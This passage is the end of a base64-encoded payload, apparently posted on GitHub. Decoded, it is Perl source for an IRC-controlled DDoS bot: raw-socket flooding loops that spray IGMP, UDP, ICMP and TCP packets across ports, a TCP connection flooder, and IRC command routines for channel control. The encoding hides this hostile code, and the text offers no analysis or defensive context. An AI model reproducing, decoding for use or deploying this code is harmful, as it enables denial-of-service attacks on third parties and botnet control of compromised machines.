gICAgICAkcG9ydCA8PSA2NTAwMDsgJHBvcnQrKykgew0KICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KICAgICAgICBzZW5kKFNPQ0sxLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSkgYW5kICRwYWNvdGVze2lnbXB9Kys7DQogICAgICAgIHNlbmQoU09DSzIsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7dWRwfSsrOw0KICAgICAgICBzZW5kKFNPQ0szLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9ydCwgJGlhZGRyKSkgYW5kICRwYWNvdGVze2ljbXB9Kys7DQogICAgICAgIHNlbmQoU09DSzQsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7dGNwfSsrOw0KZm9yIChteSAkcGMgPSAzOw0KICAgICAgICAkcGMgPD0gMjU1OyRwYysrKSB7DQpuZXh0IGlmICRwYyA9PSA2Ow0KICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KICAgICAgICBzb2NrZXQoU09DSzUsIFBGX0lORVQsIFNPQ0tfUkFXLCAkcGMpIG9yIG5leHQ7DQogICAgICAgIHNlbmQoU09DSzUsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7b30rKzsNCn0NCn0NCmxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsNCn0NCnJldHVybigkY3VyX3RpbWUsICVwYWNvdGVzKTsNCn0NCiMjIyMjIyMjIyMjIyMjDQpzdWIgdGNwZmxvb2RlciB7DQpteSAkaXRpbWUgPSB0aW1lOw0KbXkgKCRjdXJfdGltZSk7DQpteSAoJGlhLCRwYSwkcHJvdG8sJGosJGwsJHQpOw0KICAgICAgICAkaWE9aW5ldF9hdG9uKCRfWzBdKTsNCiAgICAgICAgJHBhPXNvY2thZGRyX2luKCRfWzFdLCRpYSk7DQogICAgICAgICRmdGltZT0kX1syXTsNCiAgICAgICAgJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsNCiAgICAgICAgJGo9MDskbD0wOw0KICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0Kd2hpbGUgKCRsPDEwMDApew0KICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOw0KbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOw0KICAgICAgICAkdD0iU09DSyRsIjsNCiAgICAgICAgc29ja2V0KCR0LFBGX0lORVQsU09DS19TVFJFQU0sJHByb3RvKTsNCiAgICAgICAgY29ubmVjdCgkdCwkcGEpfHwkai0tOw0KICAgICAgICAkaisrOyRsKys7DQp9DQogICAgICAgICRsPTA7DQp3aGlsZSAoJGw8MTAwMCl7DQogICAgICAgICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7DQpsYXN0IGlmICRjdXJfdGltZSA+PSAkZnRpbWU7DQogICAgICAgICR0PSJTT0NLJGwiOw0Kc2h1dGRvd24oJHQsMik7DQogICAgICAgICRsKys7DQp9DQp9DQojIyMjIyMjIyMjIyMjIw0Kc3ViIG1zZyB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiUFJJVk1TRyAkX1swXSA6JF9bMV0iKTsNCn0NCnN1YiBjdGNwIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJQUklWTVNHICRfWzBdIDpcMDAxJF9bMV1cMDAxIik7DQp9DQpzdWIgbm90aWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJOT1RJQ0UgJF9bMF0gOiRfWzFdIik7DQp9DQpzdWIgb3Agew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK28gJF9bMV0iKTsNCn0NCnN1YiBkZW9wIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdIC1vICRfWzFdIik7DQp9DQpzdWIgdm9pY2Ugew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoIk1PREUgJF9bMF0gK3YgJF9bMV0iKTsNCn0NCnN1YiBkZXZvaWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJNT0RFICRfWzBdIC12ICRfWzFdIik7DQp9DQpzdWIgaiB7ICZqb2luKEBfKTsgfQ0Kc3ViIGpvaW4gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgIHNlbmRyYXcoIkpPSU4gJF9bMF0iKTsNCn0NCnN1YiBwIHsgcGFydChAXyk7IH0NCnN1YiBwYXJ0IHtzZW5kcmF3KCJQQVJUICRfWzBdIik7fQ0Kc3ViIG5pY2sgew0KICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICBzZW5kcmF3KCJOSUNLICRfWzBdIik7DQp9DQpzdWIgcXVpdCB7DQogIHNlbmRyYXcoIlFVSVQgOiRfWzBdIik7DQogIGV4aXQ7DQp9DQpzdWIgbW9kbyB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICAgc2VuZHJhdygiTU9ERSAkX1swXSAkX1sxXSIpOw0KfQ0Kc3ViIG1vZGUgeyBtb2RvKEBfKTsgfQ0KDQpzdWIgaW52aXRlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KCJJTlZJVEUgJF9bMV0gJF9bMF0iKTsNCn0NCg0Kc3ViIHRvcGljbyB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdygiVE9QSUMgJF9bMF0gJF9bMV0iKTsNCn0NCnN1YiB0b3BpYyB7IHRvcGljbyhAXyk7IH0NCg0Kc3ViIGF3YXkgew0KICBzZW5kcmF3KCJBV0FZICRfWzBdIik7DQp9DQpzdWIgYmFjayB7IGF3YXkoKTsgfQ0KDQp9DQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIFsgRU9GIF0gIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMNCg=='));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment